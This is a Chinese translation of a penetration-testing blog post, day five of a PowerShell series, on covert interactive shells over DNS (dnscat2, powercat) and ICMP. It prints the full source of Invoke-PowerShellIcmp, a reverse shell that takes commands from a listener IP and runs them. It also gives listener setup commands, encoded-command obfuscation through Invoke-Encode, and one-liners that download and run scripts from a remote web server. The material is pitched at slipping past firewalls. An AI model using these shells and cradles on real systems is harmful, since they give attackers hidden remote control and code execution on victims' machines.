欢迎来到一周PowerShell脚本的第五天,今天我们将讨论使用ICMP和DNS的交互式PowerShell脚本。

通常情况下防火墙都不会主动过滤ICMP和DNS数据包,这就让我们可以使用它们。下面就让我们来看看具体怎么利用吧。

对于DNS来说,我们需要使用Ron Bowes的dnscat2(https://github.com/iagox86/dnscat2)作为服务端。当然如果目标机器是Windows系统,那么也可以使用powercat(https://github.com/besimorhino/powercat)。我们之前讨论过使用powercat了,那么下面来看看如何使用dnscat2。

首先,使用如下命令开启dnscat2服务端:

root@Kali:~/Desktop# ruby ./dnscat2.rb reversedns-shell.org

然后使用如下命令返回连接:

PS C:\> powercat -c 192.168.254.226 -p 53 -dns reversedns-shell.org

效果如下:

很好!我们得到了一个通过DNS信道传输的交互式PowerShell脚本。

这里如果我们查看Wireshark的话不会发现有什么问题:

pcap包可以在这里下载到https://drive.google.com/folderview?id=0B-Hsu8q12kG3fmV6YUpOOVJzaC05cnRRZ3huV2xZUkNlOHplSkFqZ0VjVFNpU2NTZGpUN1E&usp=sharing

(注:译者已将数据包搬运到国内云盘:链接:http://pan.baidu.com/s/1c1dBnCO 密码:59oy)

上面的不是PowerShell脚本对吧,其实Nishang有一些使用DNS的脚本可以执行命令、脚本和msf的shellcode利用,但它们都不是交互式的脚本,所以这里就不提了,如果感兴趣可以查看之前的博文http://www.labofapenetrationtester.com/2015/01/fun-with-dns-txt-records-and-powershell.html

好了,我们现在来将目光对准ICMP吧。对于服务端或监听端,我们都会使用Bernardo Damele(@inquisb)的imcpsh(https://github.com/inquisb/icmpsh),而客户端我已经写好了PowerShell脚本,就是我要给你的Invoke-PowerShellIcmp

当前不包含帮助文档的源码如下:

function Invoke-PowerShellIcmp{ 

    [CmdletBinding()] Param(

        [Parameter(Position = 0, Mandatory = $true)]
        [String]
        $IPAddress,        [Parameter(Position = 1, Mandatory = $false)]
        [Int]
        $Delay,        [Parameter(Position = 2, Mandatory = $false)]
        [Int]
        $BufferSize = 128    )

    #Basic structure from http://stackoverflow.com/questions/20019053/sending-back-custom-icmp-echo-response
    $ICMPClient = New-Object System.Net.NetworkInformation.Ping    $PingOptions = New-Object System.Net.NetworkInformation.PingOptions    $PingOptions.DontFragment = $True

    # Shell appearance and output redirection based on Powerfun - Written by Ben Turner & Dave Hardy
    $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
    $ICMPClient.Send($IPAddress,60 * 1000, $sendbytes, $PingOptions) | Out-Null    #Show an interactive PowerShell prompt
    $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '> ')
    $ICMPClient.Send($IPAddress,60 * 1000, $sendbytes, $PingOptions) | Out-Null    while ($true)
    {
        $sendbytes = ([text.encoding]::ASCII).GetBytes('')
        $reply = $ICMPClient.Send($IPAddress,60 * 1000, $sendbytes, $PingOptions)

        #Check for Command from the server
        if ($reply.Buffer)
        {
            $response = ([text.encoding]::ASCII).GetString($reply.Buffer)
            $result = (Invoke-Expression -Command $response 2>&1 | Out-String )
            $sendbytes = ([text.encoding]::ASCII).GetBytes($result)
            $index = [math]::floor($sendbytes.length/$BufferSize)
            $i = 0            #Fragmant larger output into smaller ones to send to the server.
            if ($sendbytes.length -gt $BufferSize)
            {
                while ($i -lt $index )
                {
                    $sendbytes2 = $sendbytes[($i*$BufferSize)..(($i+1)*$BufferSize)]
                    $ICMPClient.Send($IPAddress,60 * 10000, $sendbytes2, $PingOptions) | Out-Null                    $i +=1                }
                $remainingindex = $sendbytes.Length%$BufferSize
                if ($remainingindex -ne 0)
                {
                    $sendbytes2 = $sendbytes[($i*$BufferSize)..($remainingindex)]
                    $ICMPClient.Send($IPAddress,60 * 10000, $sendbytes2, $PingOptions) | Out-Null                }
            }
            else
            {
                $ICMPClient.Send($IPAddress,60 * 10000, $sendbytes, $PingOptions) | Out-Null            }
            $sendbytes = ([text.encoding]::ASCII).GetBytes("`nPS " + (Get-Location).Path + '> ')
            $ICMPClient.Send($IPAddress,60 * 1000, $sendbytes, $PingOptions) | Out-Null        }
        else
        {
            Sleep -Seconds 5        }
    }}

Invoke-PowerShellIcmp可以在这里找到:https://github.com/samratashok/nishang/tree/master/Shells

首先,使用以下命令禁用ping回复(IPv4)并开启监听:

root@Kali:~/Desktop# sysctl -w net.ipv4.icmp_echo_ignore_all=1
root@Kali:~/Desktop# python icmpsh_m.py 192.168.254.226 192.168.254.1

然后,在目标机器上执行如下命令:

PS C:\> Invoke-PowerShellIcmp -IPAddress 192.168.254.226

结果:

就此我们得到了一个使用ICMP的交互式PowerShell会话。

Wireshark流量如下:


下面是一段使用DNS脚本和Invoke-PowerShellIcmp的演示视频。

   

另外,那些想知道在得到目标shell以后可以做些什么的同学,请你们自行查看相关资料啦。

对于这五天里讨论过的PowerShell脚本都可以使用powershell.exe加上-EncodedCommand或者-e参数执行。

例如,想要执行Get-WLANKeys,我们使用Nishang中的Invoke-Encode来进行编码:

PS C:\nishang> Import-Module .\nishang.psm1
PS C:\nishang> Invoke-Encode -DataToEncode .\Gather\Get-WLANKeysModified.ps1 -OutCommand

效果如下:

下面是encodedcommand.txt中已经编码后的脚本结合其他任何已连接的shell使用的效果:

或者也可以在本地web服务器上执行下面一条命令来执行脚本:

PS C:\nishang> (New-Object Net.Webclient).DownloadString('http://192.168.254.226/powerpreter.psm1');Get-Information

请注意,某些情况下当编码后的脚本过长时可能会报错,我现在还在尝试修复这个问题,如果你也遇到了类似的问题欢迎在Github上面反馈给我。

另外向模块或者脚本传递参数最好的办法还是使用-EncodedCommand参数。

想要传输文件最好的方法就是使用如下一行命令。你也可以使用本地web服务器像Apache或HFS。

PS C:\nishang> (New-Object Net.Webclient).DownloadFile('http://192.168.254.226/test/nmap.zip',"$env:TEMP\nmap.zip")

*原文地址:labofapenetrationtesterxiaix编译,转自须注明来自FreeBuf黑客与极客(FreeBuf.COM)

源链接

Hacking more

...